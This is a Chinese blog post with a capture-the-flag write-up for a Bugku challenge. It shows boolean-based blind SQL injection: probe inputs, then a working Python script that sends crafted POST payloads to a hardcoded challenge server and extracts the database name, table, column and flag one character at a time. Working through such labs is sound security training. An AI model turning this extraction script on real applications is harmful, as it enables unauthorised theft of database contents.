[Bugkuctf]成绩单盲注

传送门:http://120.24.86.145:8002/chengjidan/index.php

        这道题虽然不需要使用盲注也可以得到flag,但是还是用这道题练习一下sql盲注。通过构造id=1' and 1=1#或返回成绩,id=1' and 1=2#不会返回成绩。可以肯定这道题可以利用布尔盲注

脚本

# -*- coding:utf-8 -*-
import requests
import re

url = "http://120.24.86.145:8002/chengjidan/index.php"

base_payload = "1' and if(ascii(substr({data},{len},1))>{number},1,0)#" #if(prep1.prep2,prep3) 若表达式prep1为真,则返回prep2,若prep1为假,则返回prep3
#base_payload = "1' and if(ascii(substr(select table_name from information_schema.tables where table_name=database() limit 0,1)>{num},{len},1),1,0)#"
#payload = "database()" #skctf_flag 
#payload = "(select table_name from information_schema.tables where table_schema=database() limit 0,1)" #fl4g
#payload = "(select column_name from information_schema.columns where table_name='fl4g' limit 0,1)" #skctf_flag
payload = "(select skctf_flag from fl4g limit 0,1)"

information=""

for m in range(1,50):
    for i in range(32,129):
        post_data = {"id":base_payload.format(data = payload,len = m,number=i)}
        r = requests.post(url,post_data)
        resultarr = re.findall(r"<td>(.+?)<td>",r.text)
        result = ''.join(resultarr)
        #print result 
        #print r.text
        #print post_data
        if '60' not in result:
            information += chr(i)
            break
    print information

payload从上倒下依次是为了得到数据库名字,flag表名,flag字段名,flag

截图

爆破数据库名
爆破表名
爆破flag字段名
爆破flag
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • WEB2 看源代码得flag 文件上传测试 找一张图片上传,截包改后缀名为.php得flag 计算题 F12修改输...
    a2dd56f6ad89阅读 18,616评论 0 2
  • 成绩单 输入1,2,3发现都会显示不同的成绩单,输入4没有东西,输入1’没有东西显示,输入1’#又有了,测试了一下...
    Glarcy阅读 6,303评论 0 0
  • 一.简单的登录题进入首页以后是一个登录框然后抓包的时候发现一个小提示: 然后直接get这个文件下来看看.其中tes...
    最初的美好_kai阅读 4,822评论 0 1
  • 上个学期课程真的很多,而我又不想去逃课什么的了,毕竟期末补课真的太痛苦了,所以一直也没有什么新的内容更新,简单的说...
    Vophan阅读 3,101评论 0 3
  • 1,愿意尝试新事物 2,对精油好奇 3,不工作也可以满足温饱 4,生活中有链接,对自己比较信任 5,支持我,被我吸...
    艳敏姐阅读 1,549评论 0 0

友情链接更多精彩内容